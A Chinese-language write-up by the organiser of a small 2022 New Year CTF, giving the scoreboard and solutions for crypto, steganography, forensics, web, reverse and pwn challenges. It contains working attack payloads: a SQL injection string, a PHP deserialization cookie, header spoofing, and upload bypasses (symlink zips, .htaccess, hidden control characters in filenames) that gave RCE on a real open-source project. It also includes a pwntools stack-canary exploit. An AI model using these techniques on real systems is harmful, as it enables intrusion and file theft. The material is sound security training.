Jack’s 2022 New Year CTF WriteUp

榜单

本届Jack's 2022 New Year CTF共有7人参加,瓜分了121.5元奖金。

Place User Score Bonus
1 undefined 576 55.76
2 bml 576 25.76
3 shadowmov 431 24.31
4 SY 266 7.66
5 小红花 195 6.95
6 jzqsss 101 1.01
7 TaQini 5 0.05

本次比赛中,题目JackZIPPacker因无人解决,留到明年继续出题。
题目环境会始终开启,供大家玩耍。

Programming

A+B Problem

写一个程序,输出A+B的和。非常简单,简单的不能再简单了。AC之后从OJ系统里拿来flag提交即可。

Crypto

Common Encoding

密文:

TVpXR0NaMzNNSlFYR05DN09OVVhRNURaTDVUREE1TFNMNVFXNFpDN0dNWkY2MkxUTDRZVzQ1REZPSlNYRzVEU0dGWERTN0k9

先Base64解码,再Base32解码。

VeryEasyRSA

import math
from Crypto.Util.number import *

e = 65537

p = getPrime(256)
print("p = ", p)
# p =  101081115227848167912950053118050774914410534672241149008359507461010834998407
q = getPrime(256)
print("q = ", q)
# q =  88098086525716766238547888470825617159303577828468484959701406096934274289089
m = int.from_bytes(open("flag.txt", "rb").read(), "big")
c = pow(m, e, p * q)

print("c = ", c)
# c =  4823761740784458181711339957312182576096131121226828661451676917167282084956602786126342856063091347309430803488676646080346240712768489022546078719121056

这也是简单到不能再简单的RSA了。只要你去把RSA的运算流程看完一遍,照猫画虎即可。

import math, gmpy2
from Crypto.Util.number import *

e = 65537

p = int(input("p"))
q = int(input("q"))
c = int(input("c"))
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)

m = pow(c, d, p * q)

print("m = ", hex(int(m)))

将十六进制输出化为ASCII字符串即可得出flag。

Steganography

Dreamerjack's Avatar

隐写信息隐藏在png图片RGB通道的LSB。可以使用zsteg或stegsolve软件读取隐写信息。

Forensic

ext4

ZIP中有一个ext4文件系统的img镜像,打开可得flag。

ud2

这道题本来想让大家用WinDbg做一下Core Dump的内存分析。结果,一堆人直接打开dump文件去搜flag{也能找到,吐血。。。

Web

VeryVeryVeryVeryEasyWeb

<?php
if (isset($_POST['last_year']) && isset($_POST['current_year'])){
    if ($_POST['last_year'] === "2021" && $_POST['current_year'] === "2022") {
        die('flag{this_1s_rea11y_very_very_very_very_very_very_very_very_very_e1sy}');
    }
}
?>

Imagine that today is 2022.01.01 .

<form method="post">
<input type="text" value="2020" name="last_year" />
<input type="hidden" value="2023" name="current_year" />
</form>

Difficult Visit

<?php

function getIP(){
    if (!empty($_SERVER['HTTP_CLIENT_IP'])){
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

function getBrowser(){
    $Agent = $_SERVER['HTTP_USER_AGENT'];
    if(preg_match("/DreamerjackBrowser/i", $Agent))
        return true;
    return false;
}

if (!getBrowser()) {
    die('You must use `DreamerjackBrowser` to access this page! ');
}
if (getIP() != '8.8.8.8') {
    die('You must access this page via IPv4 8.8.8.8! ');
}
header('Flag: flag{UA_and_X-Forwarded-For_!$FUw92b-=#@!7hdfui}');
echo('You have successfully passed my test and will get the flag!');

?>

X-Forwarded-For设置成8.8.8.8, User-Agent中需要带有DreamerjackBrowser字样。
flag通过HTTP响应头返回。

SQLite3

非常简单的SQL注入:

<?php
include "flag.php";

if (isset($_GET['code'])) {
    highlight_file(__FILE__);
    die();
}
if (!isset($_GET['username']) || !isset($_GET['password'])) {
    die();
}

class MyDB extends SQLite3
{
    function __construct()
    {
        include "flag.php";
        $this->open($db_path, SQLITE3_OPEN_READONLY);
    }
}

$db = new MyDB();
$user = $_GET['username'];
$password = md5($_GET['password']);
$SQLStatement = "SELECT * FROM User WHERE Username = '$user' AND Password = '$password'; ";
var_dump($SQLStatement);
$result = $db->query($SQLStatement);

$loginedUser = $result->fetchArray()['Username'];
if($loginedUser === 'admin'){
    echo($flag);
}

?>

题目中已经指明要求用户名为admin。而且采用拼接字符串的方式得到SQL语句。我们只要让密码任意,用户名为admin' OR '0' = '1,就可以使得SQL语句变成SELECT * FROM User WHERE Username = 'admin' OR '0' = '1' AND Password = 'd41d8cd98f00b204e9800998ecf8427e';

可以得到flag。

Serialization

<?php
include "flag.php";

class MyFile {
    public $filename;
    function __construct(string $filename) {
        $this->filename = $filename;
        file_put_contents($filename, "flag{THis_1s_a_fake_FLAG}");
    }
    function __destruct() {
        if (!file_exists($this->filename)) {
            return;
        }
        $result = file_get_contents($this->filename);
        if ($result !== false){
            echo $result;
        }
        if (strpos($this->filename, "tmp") !== false){
            unlink($this->filename);
        }
    }
}

if (isset($_GET['code'])) {
    echo(__FILE__);
    highlight_file(__FILE__);
    die();
}

if (!isset($_COOKIE['file'])){
    $myFile = new MyFile(tempnam('', 'tmp'));
    setcookie('file', serialize($myFile));
} else {
    $myFile = unserialize($_COOKIE['file']);
}

?>

反序列化将对象放在了Cookie里,让用户可控了。又因为对象销毁时会调用__destruct,所以我们可以泄露flag.php的内容。

因此构造Cookie['file']的内容为O:6:"MyFile":1:{s:8:"filename";s:22:"/var/www/html/flag.php";}。即可获得flag。

[Real] Linux ASM Call Graph

这道题目本来是我之前写的一个生成流程图的程序,之前打别家CTF的时候,遇到过ZIP可以上传软链接的题目。我这个程序也可以上传ZIP,本来想在这里出考点。没想到被同学们搞出了非预期解RCE。

源码在:https://github.com/bjrjk/LinuxASMCallGraph

本程序中,有漏洞的点位于web/index.php,下面是Patch前后的Diff对比:
https://github.com/bjrjk/LinuxASMCallGraph/compare/55e98ff729e211a6392999ea8af6990d30a73366...c6579e34581ac9cc9da683d73c8658bcfc75711a

第一类漏洞点:ZIP可以解压Linux中的软链接。在Linux中,我们只要使用zip -y就可以将软链接压缩进入压缩包。那么我们只要构造一个到/var/www/flag的软链接并上传这个压缩包,再访问这个软链接就可以成功得到flag内容。它的修补方案是,通过zipinfo检测其是否具有symlink属性,如果有symlink属性,直接拒绝解压。

然而绝大部分人都不是这么做的,他们都搞出了RCE[捂脸]。搞出RCE也有两种方法:

第二类漏洞点:程序里面本身过滤了PHP文件,所以我们不能想着直接上传PHP了。但因为使用的是apache服务器,因此上传.htaccess文件,在其中加入一行AddType application/x-httpd-php abc,就会把*.abc文件当作PHP进行解析。因此禁用方法就是禁止上传.htaccess

第三类漏洞点:通过二进制编辑ZIP文件,使其文件名中包含不可见字符,例如CR或LF。使用unzip -l在对ZIP列表进行查看时,假设碰到了文件名为.hta\nccess的文件,会自动输出这个不可见字符的可见表示。但使用unzip解压时,会自动把不可见字符去除。因此,只要在敏感文件名中加入不可见字符,就可以绕过unzip -l | grep的限制。解决方案是,直接对unzip解压时的输出进行过滤,解压时的文件名输出都是去除不可见字符的。此时的过滤是有效的。

本[Real]题目的生产环境漏洞已修补。如果需要复现,请参照commita5dbad8586c256a64f38517a46b91dd4a8d008c6的内容进行复现(https://github.com/bjrjk/LinuxASMCallGraph/commit/a5dbad8586c256a64f38517a46b91dd4a8d008c6)。

Reverse

WinSyscall

#include<windows.h>
#include<fileapi.h>
#include<string.h>
int main(){
    LPCSTR filename = "flag.txt";
    HANDLE h = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    LPCSTR str = "flag{WinAPI_ef723g7##}";
    DWORD writtensize;
    WriteFile(h, str, strlen(str), &writtensize, NULL);

    CloseHandle(h);
    DeleteFileA(filename);
    return 0;
}

这道题目的原题代码如上,是简单的调用Win32 API将flag写入flag.txt中再删除。为了增加难度用UPX加了壳。

绝大部分做出来的人是直接用UPX脱壳机脱完之后直接送进IDA里看出来的,但我不推荐这么搞,太简单就没什么意思了。推荐的锻炼能力的做法是手动用OllyDbg或x96dbg自己脱一下之后再IDA,用ESP定律还是比较简单的。

还有,我本来是想用VMProtect加壳的,结果VMProtect加壳后我自己都脱不了了。虚拟机壳太难搞了。我只能作罢。

BabyWASM

是一道WASM的逆向入门题,WASM是一个基于栈的虚拟机,非常类似于后缀表达式的计算,WASM反汇编后如下:

(module
  (table $table0 1 1 funcref)
  (memory $memory (;0;) (export "memory") 2)
  (global $global0 (mut i32) (i32.const 66576))
  (global $__heap_base (;1;) (export "__heap_base") i32 (i32.const 66576))
  (global $__data_end (;2;) (export "__data_end") i32 (i32.const 1035))
  (func $__wasm_call_ctors (;0;)
  )
  (func $encrypt (;1;) (export "encrypt") (param $var0 i32) (param $var1 i32) (param $var2 i32) (result i32)
    local.get $var1
    local.get $var0
    i32.add
    local.get $var2
    i32.const 11
    i32.rem_u
    i32.const 1024
    i32.add
    i32.load8_u
    i32.xor
  )
  (data (i32.const 1024) "1\12t\112P\f8\1a\81}\81")
)

可以逆向出encrypt函数的表达式:(var0 + var1) ^ data[var2 % 11],即(chksum + cur) ^ key[pos % 11]。其中unsigned char key_table[11] = {0x31, 0x12, 0x74, 0x11, 0x32, 0x50, 0xf8, 0x1a, 0x81, 0x7d, 0x81};

再相应推出decrypt的函数即可。

标准解答如下:
main.js:

var instance = null;
fetch('../out/main.wasm').then(response =>
    response.arrayBuffer()
  ).then(bytes => WebAssembly.instantiate(bytes)).then(results => {
    instance = results.instance;
  }).catch(console.error);
function encrypt(chksum, cur, pos){
  return String.fromCharCode(instance.exports.encrypt(chksum, cur, pos)); 
}
function decrypt(chksum, cur, pos){
  return instance.exports.decrypt(chksum, cur, pos); 
}
function invoke_encrypt(){
  var buf = "";
  var str = document.getElementById("encrypt_value").value;
  var chksum = 0;
  for(let i = 0; i < str.length; i++){
    let asc = str[i].charCodeAt();
    buf += encrypt(chksum, asc, i);
    chksum += asc;
  }
  document.getElementById("container").textContent = window.btoa(encodeURIComponent(buf));
}
function invoke_decrypt(){
  var buf = "";
  var str = decodeURIComponent(window.atob(document.getElementById("decrypt_value").value));
  var chksum = 0;
  var i = 0;
  for(let i = 0; i < str.length; i++){
    let asc = str[i].charCodeAt();
    asc = decrypt(chksum, asc, i);
    buf += String.fromCharCode(asc);
    chksum += asc;
  }
  document.getElementById("container").textContent = buf;
}

main.c:

#define WASM_EXPORT __attribute__((visibility("default")))

unsigned char key_table[11] = {0x31, 0x12, 0x74, 0x11, 0x32, 0x50, 0xf8, 0x1a, 0x81, 0x7d, 0x81};

WASM_EXPORT
unsigned encrypt(unsigned checksum, unsigned current, unsigned position) {
  return (checksum + current) ^ key_table[position % 11];
}

WASM_EXPORT
unsigned decrypt(unsigned checksum, unsigned current, unsigned position) {
  return (current ^ key_table[position % 11]) - checksum;
}

Pwn

DJCTF1

本题可以在Ubuntu 18.04上复现,源码及答案地址:
https://github.com/bjrjk/pwn-learning/tree/main/Canary/djCTF-1

首先检查ELF的保护信息:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

本题保护全开。

源码 djctf1.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void pwnable();
void init();
__attribute__((aligned(0x100)))
void flag(){
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    asm volatile(".byte 0x90");
    system("cat flag");
    write(1, "Unbelieveable! You must be an experienced hacker!!\n", 51);
    write(1, "That's your reward!!", 20);
}
int main(){
    init();
    write(1, "You are so lucky to have unlimited chance!!! xm!!!\n", 51);
    while(1){
        pwnable();
    }
}
void init(){
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}
void pwnable(){
    char buf[0x10];
    write(1, "> ", 2);
    read(0, buf, 0x29);
    write(1, "Let's check if you are successful. \n", 36);
    puts(buf);
    buf[0x18] = 0x00;
}

answer.py:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, time
context(arch = "amd64",os = "linux", log_level = "debug")

p = process('./djctf1')
elf = ELF('./djctf1')
#gdb.attach(p, "b pwnable\n b flag")

# Canary Leak
p.recvuntil("> ")
p.sendline('0' * 0x18)
p.recvuntil('0' * 0x18)
canary_value = u64(p.recv(8)) - 0x0a
print("Canary: " + hex(canary_value))

# hijack control flow
p.recvuntil("> ")
#p.sendline('0' * 0x18 + p64(canary_value) + p64(0) + '\x00')
p.sendline('0' * 0x18 + p64(canary_value) + p64(0))
#time.sleep(10)
p.interactive()

大致的做法是:

首先泄露Canary。因为源码第40行恢复了Canary的最低字节,所以可以放心覆盖并泄露。

又因为我特意设计了ELF,使得pwnable()的返回地址和flag()函数的起始地址在同一页中,因此我们只需修改返回地址的最低字节,从而避免了ASLR的相关问题。

flag()头部填充的0x90 NOP指令是为了使得p.sendline发送的最后一个字节为0x0A时,能够使得控制流不至于转移到指令的中间而专门设立的。

Hacknote

见:https://renjikai.com/pwn-learning-summary-17/

vul64

见:https://renjikai.com/pwn-learning-summary-18/

Jack’s 2022 New Year CTF WriteUp》有1个想法

发表评论

您的电子邮箱地址不会被公开。